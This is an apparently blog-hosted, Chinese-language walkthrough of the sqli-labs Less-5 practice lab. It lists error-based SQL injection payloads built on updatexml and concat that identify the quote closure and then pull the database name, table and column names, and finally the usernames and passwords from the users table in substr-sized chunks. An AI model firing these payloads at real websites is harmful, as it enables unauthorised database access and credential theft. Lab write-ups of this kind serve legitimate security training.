SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
海洋与大气科学15 分钟前
【matlab】地图上的小图
开发语言·数据库·matlab
Geek__19921 小时前
Sqlite3交叉编译全过程
jvm·数据库·sqlite
·云扬·1 小时前
【技术派后端篇】 Redis 实现用户活跃度排行榜
数据库·redis·缓存
安 当 加 密2 小时前
如何通过安当TDE透明加密实现免改造的SQL Server数据库加密?性能实测与行业实践全解析
数据库
Databend3 小时前
Databend Operator: 打造开源的数据仓库部署利器
数据库
昊昊昊昊昊明3 小时前
10天学会嵌入式技术之51单片机-day-3
数据库·mongodb
//承续缘_纪录片3 小时前
SQL_连续登陆问题
数据库·sql
MZWeiei3 小时前
Spark SQL概述(专业解释+生活化比喻)
大数据·sql·spark
清水3 小时前
oracle不同数据库版本的自增序列
数据库·sql
HyperAI超神经5 小时前
【vLLM 学习】Aqlm 示例
java·开发语言·数据库·人工智能·学习·教程·vllm